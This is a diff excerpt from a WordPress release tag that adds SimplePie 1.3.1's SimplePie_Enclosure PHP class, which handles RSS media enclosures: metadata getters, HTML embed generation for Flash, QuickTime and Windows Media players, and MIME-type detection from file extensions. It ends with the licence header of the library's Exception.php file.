+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles everything related to enclosures (including Media RSS and iTunes RSS)
+ *
+ * Used by {@see SimplePie_Item::get_enclosure()} and {@see SimplePie_Item::get_enclosures()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_enclosure_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Enclosure
+{
+	/**
+	 * @var string
+	 * @see get_bitrate()
+	 */
+	var $bitrate;
+
+	/**
+	 * @var array
+	 * @see get_captions()
+	 */
+	var $captions;
+
+	/**
+	 * @var array
+	 * @see get_categories()
+	 */
+	var $categories;
+
+	/**
+	 * @var int
+	 * @see get_channels()
+	 */
+	var $channels;
+
+	/**
+	 * @var SimplePie_Copyright
+	 * @see get_copyright()
+	 */
+	var $copyright;
+
+	/**
+	 * @var array
+	 * @see get_credits()
+	 */
+	var $credits;
+
+	/**
+	 * @var string
+	 * @see get_description()
+	 */
+	var $description;
+
+	/**
+	 * @var int
+	 * @see get_duration()
+	 */
+	var $duration;
+
+	/**
+	 * @var string
+	 * @see get_expression()
+	 */
+	var $expression;
+
+	/**
+	 * @var string
+	 * @see get_framerate()
+	 */
+	var $framerate;
+
+	/**
+	 * @var string
+	 * @see get_handler()
+	 */
+	var $handler;
+
+	/**
+	 * @var array
+	 * @see get_hashes()
+	 */
+	var $hashes;
+
+	/**
+	 * @var string
+	 * @see get_height()
+	 */
+	var $height;
+
+	/**
+	 * @deprecated
+	 * @var null
+	 */
+	var $javascript;
+
+	/**
+	 * @var array
+	 * @see get_keywords()
+	 */
+	var $keywords;
+
+	/**
+	 * @var string
+	 * @see get_language()
+	 */
+	var $lang;
+
+	/**
+	 * @var string
+	 * @see get_length()
+	 */
+	var $length;
+
+	/**
+	 * @var string
+	 * @see get_link()
+	 */
+	var $link;
+
+	/**
+	 * @var string
+	 * @see get_medium()
+	 */
+	var $medium;
+
+	/**
+	 * @var string
+	 * @see get_player()
+	 */
+	var $player;
+
+	/**
+	 * @var array
+	 * @see get_ratings()
+	 */
+	var $ratings;
+
+	/**
+	 * @var array
+	 * @see get_restrictions()
+	 */
+	var $restrictions;
+
+	/**
+	 * @var string
+	 * @see get_sampling_rate()
+	 */
+	var $samplingrate;
+
+	/**
+	 * @var array
+	 * @see get_thumbnails()
+	 */
+	var $thumbnails;
+
+	/**
+	 * @var string
+	 * @see get_title()
+	 */
+	var $title;
+
+	/**
+	 * @var string
+	 * @see get_type()
+	 */
+	var $type;
+
+	/**
+	 * @var string
+	 * @see get_width()
+	 */
+	var $width;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 *
+	 * @uses idna_convert If available, this will convert an IDN
+	 */
+	public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
+	{
+		$this->bitrate = $bitrate;
+		$this->captions = $captions;
+		$this->categories = $categories;
+		$this->channels = $channels;
+		$this->copyright = $copyright;
+		$this->credits = $credits;
+		$this->description = $description;
+		$this->duration = $duration;
+		$this->expression = $expression;
+		$this->framerate = $framerate;
+		$this->hashes = $hashes;
+		$this->height = $height;
+		$this->keywords = $keywords;
+		$this->lang = $lang;
+		$this->length = $length;
+		$this->link = $link;
+		$this->medium = $medium;
+		$this->player = $player;
+		$this->ratings = $ratings;
+		$this->restrictions = $restrictions;
+		$this->samplingrate = $samplingrate;
+		$this->thumbnails = $thumbnails;
+		$this->title = $title;
+		$this->type = $type;
+		$this->width = $width;
+
+		if (class_exists('idna_convert'))
+		{
+			$idn = new idna_convert();
+			$parsed = SimplePie_Misc::parse_url($link);
+			$this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->handler = $this->get_handler(); // Needs to load last
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the bitrate
+	 *
+	 * @return string|null
+	 */
+	public function get_bitrate()
+	{
+		if ($this->bitrate !== null)
+		{
+			return $this->bitrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single caption
+	 *
+	 * @param int $key
+	 * @return SimplePie_Caption|null
+	 */
+	public function get_caption($key = 0)
+	{
+		$captions = $this->get_captions();
+		if (isset($captions[$key]))
+		{
+			return $captions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all captions
+	 *
+	 * @return array|null Array of {@see SimplePie_Caption} objects
+	 */
+	public function get_captions()
+	{
+		if ($this->captions !== null)
+		{
+			return $this->captions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single category
+	 *
+	 * @param int $key
+	 * @return SimplePie_Category|null
+	 */
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all categories
+	 *
+	 * @return array|null Array of {@see SimplePie_Category} objects
+	 */
+	public function get_categories()
+	{
+		if ($this->categories !== null)
+		{
+			return $this->categories;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the number of audio channels
+	 *
+	 * @return int|null
+	 */
+	public function get_channels()
+	{
+		if ($this->channels !== null)
+		{
+			return $this->channels;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the copyright information
+	 *
+	 * @return SimplePie_Copyright|null
+	 */
+	public function get_copyright()
+	{
+		if ($this->copyright !== null)
+		{
+			return $this->copyright;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single credit
+	 *
+	 * @param int $key
+	 * @return SimplePie_Credit|null
+	 */
+	public function get_credit($key = 0)
+	{
+		$credits = $this->get_credits();
+		if (isset($credits[$key]))
+		{
+			return $credits[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all credits
+	 *
+	 * @return array|null Array of {@see SimplePie_Credit} objects
+	 */
+	public function get_credits()
+	{
+		if ($this->credits !== null)
+		{
+			return $this->credits;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the description of the enclosure
+	 *
+	 * @return string|null
+	 */
+	public function get_description()
+	{
+		if ($this->description !== null)
+		{
+			return $this->description;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the duration of the enclosure
+	 *
+	 * @param string $convert Convert seconds into hh:mm:ss
+	 * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
+	 */
+	public function get_duration($convert = false)
+	{
+		if ($this->duration !== null)
+		{
+			if ($convert)
+			{
+				$time = SimplePie_Misc::time_hms($this->duration);
+				return $time;
+			}
+			else
+			{
+				return $this->duration;
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the expression
+	 *
+	 * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
+	 */
+	public function get_expression()
+	{
+		if ($this->expression !== null)
+		{
+			return $this->expression;
+		}
+		else
+		{
+			return 'full';
+		}
+	}
+
+	/**
+	 * Get the file extension
+	 *
+	 * @return string|null
+	 */
+	public function get_extension()
+	{
+		if ($this->link !== null)
+		{
+			$url = SimplePie_Misc::parse_url($this->link);
+			if ($url['path'] !== '')
+			{
+				return pathinfo($url['path'], PATHINFO_EXTENSION);
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get the framerate (in frames-per-second)
+	 *
+	 * @return string|null
+	 */
+	public function get_framerate()
+	{
+		if ($this->framerate !== null)
+		{
+			return $this->framerate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the preferred handler
+	 *
+	 * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
+	 */
+	public function get_handler()
+	{
+		return $this->get_real_type(true);
+	}
+
+	/**
+	 * Get a single hash
+	 *
+	 * @link http://www.rssboard.org/media-rss#media-hash
+	 * @param int $key
+	 * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
+	 */
+	public function get_hash($key = 0)
+	{
+		$hashes = $this->get_hashes();
+		if (isset($hashes[$key]))
+		{
+			return $hashes[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all credits
+	 *
+	 * @return array|null Array of strings, see {@see get_hash()}
+	 */
+	public function get_hashes()
+	{
+		if ($this->hashes !== null)
+		{
+			return $this->hashes;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the height
+	 *
+	 * @return string|null
+	 */
+	public function get_height()
+	{
+		if ($this->height !== null)
+		{
+			return $this->height;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the language
+	 *
+	 * @link http://tools.ietf.org/html/rfc3066
+	 * @return string|null Language code as per RFC 3066
+	 */
+	public function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single keyword
+	 *
+	 * @param int $key
+	 * @return string|null
+	 */
+	public function get_keyword($key = 0)
+	{
+		$keywords = $this->get_keywords();
+		if (isset($keywords[$key]))
+		{
+			return $keywords[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all keywords
+	 *
+	 * @return array|null Array of strings
+	 */
+	public function get_keywords()
+	{
+		if ($this->keywords !== null)
+		{
+			return $this->keywords;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get length
+	 *
+	 * @return float Length in bytes
+	 */
+	public function get_length()
+	{
+		if ($this->length !== null)
+		{
+			return $this->length;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the URL
+	 *
+	 * @return string|null
+	 */
+	public function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return urldecode($this->link);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the medium
+	 *
+	 * @link http://www.rssboard.org/media-rss#media-content
+	 * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
+	 */
+	public function get_medium()
+	{
+		if ($this->medium !== null)
+		{
+			return $this->medium;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the player URL
+	 *
+	 * Typically the same as {@see get_permalink()}
+	 * @return string|null Player URL
+	 */
+	public function get_player()
+	{
+		if ($this->player !== null)
+		{
+			return $this->player;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single rating
+	 *
+	 * @param int $key
+	 * @return SimplePie_Rating|null
+	 */
+	public function get_rating($key = 0)
+	{
+		$ratings = $this->get_ratings();
+		if (isset($ratings[$key]))
+		{
+			return $ratings[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all ratings
+	 *
+	 * @return array|null Array of {@see SimplePie_Rating} objects
+	 */
+	public function get_ratings()
+	{
+		if ($this->ratings !== null)
+		{
+			return $this->ratings;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single restriction
+	 *
+	 * @param int $key
+	 * @return SimplePie_Restriction|null
+	 */
+	public function get_restriction($key = 0)
+	{
+		$restrictions = $this->get_restrictions();
+		if (isset($restrictions[$key]))
+		{
+			return $restrictions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all restrictions
+	 *
+	 * @return array|null Array of {@see SimplePie_Restriction} objects
+	 */
+	public function get_restrictions()
+	{
+		if ($this->restrictions !== null)
+		{
+			return $this->restrictions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the sampling rate (in kHz)
+	 *
+	 * @return string|null
+	 */
+	public function get_sampling_rate()
+	{
+		if ($this->samplingrate !== null)
+		{
+			return $this->samplingrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the file size (in MiB)
+	 *
+	 * @return float|null File size in mebibytes (1048 bytes)
+	 */
+	public function get_size()
+	{
+		$length = $this->get_length();
+		if ($length !== null)
+		{
+			return round($length/1048576, 2);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single thumbnail
+	 *
+	 * @param int $key
+	 * @return string|null Thumbnail URL
+	 */
+	public function get_thumbnail($key = 0)
+	{
+		$thumbnails = $this->get_thumbnails();
+		if (isset($thumbnails[$key]))
+		{
+			return $thumbnails[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all thumbnails
+	 *
+	 * @return array|null Array of thumbnail URLs
+	 */
+	public function get_thumbnails()
+	{
+		if ($this->thumbnails !== null)
+		{
+			return $this->thumbnails;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the title
+	 *
+	 * @return string|null
+	 */
+	public function get_title()
+	{
+		if ($this->title !== null)
+		{
+			return $this->title;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get mimetype of the enclosure
+	 *
+	 * @see get_real_type()
+	 * @return string|null MIME type
+	 */
+	public function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the width
+	 *
+	 * @return string|null
+	 */
+	public function get_width()
+	{
+		if ($this->width !== null)
+		{
+			return $this->width;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Embed the enclosure using `<embed>`
+	 *
+	 * @deprecated Use the second parameter to {@see embed} instead
+	 *
+	 * @param array|string $options See first paramter to {@see embed}
+	 * @return string HTML string to output
+	 */
+	public function native_embed($options='')
+	{
+		return $this->embed($options, true);
+	}
+
+	/**
+	 * Embed the enclosure using Javascript
+	 *
+	 * `$options` is an array or comma-separated key:value string, with the
+	 * following properties:
+	 *
+	 * - `alt` (string): Alternate content for when an end-user does not have
+	 *    the appropriate handler installed or when a file type is
+	 *    unsupported. Can be any text or HTML. Defaults to blank.
+	 * - `altclass` (string): If a file type is unsupported, the end-user will
+	 *    see the alt text (above) linked directly to the content. That link
+	 *    will have this value as its class name. Defaults to blank.
+	 * - `audio` (string): This is an image that should be used as a
+	 *    placeholder for audio files before they're loaded (QuickTime-only).
+	 *    Can be any relative or absolute URL. Defaults to blank.
+	 * - `bgcolor` (string): The background color for the media, if not
+	 *    already transparent. Defaults to `#ffffff`.
+	 * - `height` (integer): The height of the embedded media. Accepts any
+	 *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
+	 *    and it is recommended that you use this default.
+	 * - `loop` (boolean): Do you want the media to loop when its done?
+	 *    Defaults to `false`.
+	 * - `mediaplayer` (string): The location of the included
+	 *    `mediaplayer.swf` file. This allows for the playback of Flash Video
+	 *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
+	 *    Defaults to blank.
+	 * - `video` (string): This is an image that should be used as a
+	 *    placeholder for video files before they're loaded (QuickTime-only).
+	 *    Can be any relative or absolute URL. Defaults to blank.
+	 * - `width` (integer): The width of the embedded media. Accepts any
+	 *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
+	 *    and it is recommended that you use this default.
+	 * - `widescreen` (boolean): Is the enclosure widescreen or standard?
+	 *    This applies only to video enclosures, and will automatically resize
+	 *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
+	 *
+	 * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
+	 * will default to 480x360 video resolution.  Widescreen (16:9) mode with
+	 * `width` and `height` set to `auto` will default to 480x270 video resolution.
+	 *
+	 * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
+	 * @param array|string $options Comma-separated key:value list, or array
+	 * @param bool $native Use `<embed>`
+	 * @return string HTML string to output
+	 */
+	public function embed($options = '', $native = false)
+	{
+		// Set up defaults
+		$audio = '';
+		$video = '';
+		$alt = '';
+		$altclass = '';
+		$loop = 'false';
+		$width = 'auto';
+		$height = 'auto';
+		$bgcolor = '#ffffff';
+		$mediaplayer = '';
+		$widescreen = false;
+		$handler = $this->get_handler();
+		$type = $this->get_real_type();
+
+		// Process options and reassign values as necessary
+		if (is_array($options))
+		{
+			extract($options);
+		}
+		else
+		{
+			$options = explode(',', $options);
+			foreach($options as $option)
+			{
+				$opt = explode(':', $option, 2);
+				if (isset($opt[0], $opt[1]))
+				{
+					$opt[0] = trim($opt[0]);
+					$opt[1] = trim($opt[1]);
+					switch ($opt[0])
+					{
+						case 'audio':
+							$audio = $opt[1];
+							break;
+
+						case 'video':
+							$video = $opt[1];
+							break;
+
+						case 'alt':
+							$alt = $opt[1];
+							break;
+
+						case 'altclass':
+							$altclass = $opt[1];
+							break;
+
+						case 'loop':
+							$loop = $opt[1];
+							break;
+
+						case 'width':
+							$width = $opt[1];
+							break;
+
+						case 'height':
+							$height = $opt[1];
+							break;
+
+						case 'bgcolor':
+							$bgcolor = $opt[1];
+							break;
+
+						case 'mediaplayer':
+							$mediaplayer = $opt[1];
+							break;
+
+						case 'widescreen':
+							$widescreen = $opt[1];
+							break;
+					}
+				}
+			}
+		}
+
+		$mime = explode('/', $type, 2);
+		$mime = $mime[0];
+
+		// Process values for 'auto'
+		if ($width === 'auto')
+		{
+			if ($mime === 'video')
+			{
+				if ($height === 'auto')
+				{
+					$width = 480;
+				}
+				elseif ($widescreen)
+				{
+					$width = round((intval($height)/9)*16);
+				}
+				else
+				{
+					$width = round((intval($height)/3)*4);
+				}
+			}
+			else
+			{
+				$width = '100%';
+			}
+		}
+
+		if ($height === 'auto')
+		{
+			if ($mime === 'audio')
+			{
+				$height = 0;
+			}
+			elseif ($mime === 'video')
+			{
+				if ($width === 'auto')
+				{
+					if ($widescreen)
+					{
+						$height = 270;
+					}
+					else
+					{
+						$height = 360;
+					}
+				}
+				elseif ($widescreen)
+				{
+					$height = round((intval($width)/16)*9);
+				}
+				else
+				{
+					$height = round((intval($width)/4)*3);
+				}
+			}
+			else
+			{
+				$height = 376;
+			}
+		}
+		elseif ($mime === 'audio')
+		{
+			$height = 0;
+		}
+
+		// Set proper placeholder value
+		if ($mime === 'audio')
+		{
+			$placeholder = $audio;
+		}
+		elseif ($mime === 'video')
+		{
+			$placeholder = $video;
+		}
+
+		$embed = '';
+
+		// Flash
+		if ($handler === 'flash')
+		{
+			if ($native)
+			{
+				$embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
+			}
+		}
+
+		// Flash Media Player file types.
+		// Preferred handler for MP3 file types.
+		elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== ''))
+		{
+			$height += 20;
+			if ($native)
+			{
+				$embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
+			}
+		}
+
+		// QuickTime 7 file types.  Need to test with QuickTime 6.
+		// Only handle MP3's if the Flash Media Player is not present.
+		elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === ''))
+		{
+			$height += 16;
+			if ($native)
+			{
+				if ($placeholder !== '')
+				{
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+				else
+				{
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
+			}
+		}
+
+		// Windows Media
+		elseif ($handler === 'wmedia')
+		{
+			$height += 45;
+			if ($native)
+			{
+				$embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
+			}
+		}
+
+		// Everything else
+		else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
+
+		return $embed;
+	}
+
+	/**
+	 * Get the real media type
+	 *
+	 * Often, feeds lie to us, necessitating a bit of deeper inspection. This
+	 * converts types to their canonical representations based on the file
+	 * extension
+	 *
+	 * @see get_type()
+	 * @param bool $find_handler Internal use only, use {@see get_handler()} instead
+	 * @return string MIME type
+	 */
+	public function get_real_type($find_handler = false)
+	{
+		// Mime-types by handler.
+		$types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash
+		$types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player
+		$types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime
+		$types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media
+		$types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3
+
+		if ($this->get_type() !== null)
+		{
+			$type = strtolower($this->type);
+		}
+		else
+		{
+			$type = null;
+		}
+
+		// If we encounter an unsupported mime-type, check the file extension and guess intelligently.
+		if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3)))
+		{
+			switch (strtolower($this->get_extension()))
+			{
+				// Audio mime-types
+				case 'aac':
+				case 'adts':
+					$type = 'audio/acc';
+					break;
+
+				case 'aif':
+				case 'aifc':
+				case 'aiff':
+				case 'cdda':
+					$type = 'audio/aiff';
+					break;
+
+				case 'bwf':
+					$type = 'audio/wav';
+					break;
+
+				case 'kar':
+				case 'mid':
+				case 'midi':
+				case 'smf':
+					$type = 'audio/midi';
+					break;
+
+				case 'm4a':
+					$type = 'audio/x-m4a';
+					break;
+
+				case 'mp3':
+				case 'swa':
+					$type = 'audio/mp3';
+					break;
+
+				case 'wav':
+					$type = 'audio/wav';
+					break;
+
+				case 'wax':
+					$type = 'audio/x-ms-wax';
+					break;
+
+				case 'wma':
+					$type = 'audio/x-ms-wma';
+					break;
+
+				// Video mime-types
+				case '3gp':
+				case '3gpp':
+					$type = 'video/3gpp';
+					break;
+
+				case '3g2':
+				case '3gp2':
+					$type = 'video/3gpp2';
+					break;
+
+				case 'asf':
+					$type = 'video/x-ms-asf';
+					break;
+
+				case 'flv':
+					$type = 'video/x-flv';
+					break;
+
+				case 'm1a':
+				case 'm1s':
+				case 'm1v':
+				case 'm15':
+				case 'm75':
+				case 'mp2':
+				case 'mpa':
+				case 'mpeg':
+				case 'mpg':
+				case 'mpm':
+				case 'mpv':
+					$type = 'video/mpeg';
+					break;
+
+				case 'm4v':
+					$type = 'video/x-m4v';
+					break;
+
+				case 'mov':
+				case 'qt':
+					$type = 'video/quicktime';
+					break;
+
+				case 'mp4':
+				case 'mpg4':
+					$type = 'video/mp4';
+					break;
+
+				case 'sdv':
+					$type = 'video/sd-video';
+					break;
+
+				case 'wm':
+					$type = 'video/x-ms-wm';
+					break;
+
+				case 'wmv':
+					$type = 'video/x-ms-wmv';
+					break;
+
+				case 'wvx':
+					$type = 'video/x-ms-wvx';
+					break;
+
+				// Flash mime-types
+				case 'spl':
+					$type = 'application/futuresplash';
+					break;
+
+				case 'swf':
+					$type = 'application/x-shockwave-flash';
+					break;
+			}
+		}
+
+		if ($find_handler)
+		{
+			if (in_array($type, $types_flash))
+			{
+				return 'flash';
+			}
+			elseif (in_array($type, $types_fmedia))
+			{
+				return 'fmedia';
+			}
+			elseif (in_array($type, $types_quicktime))
+			{
+				return 'quicktime';
+			}
+			elseif (in_array($type, $types_wmedia))
+			{
+				return 'wmedia';
+			}
+			elseif (in_array($type, $types_mp3))
+			{
+				return 'mp3';
+			}
+			else
+			{
+				return null;
+			}
+		}
+		else
+		{
+			return $type;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Exception.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Exception.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Exception.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.4-dev
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
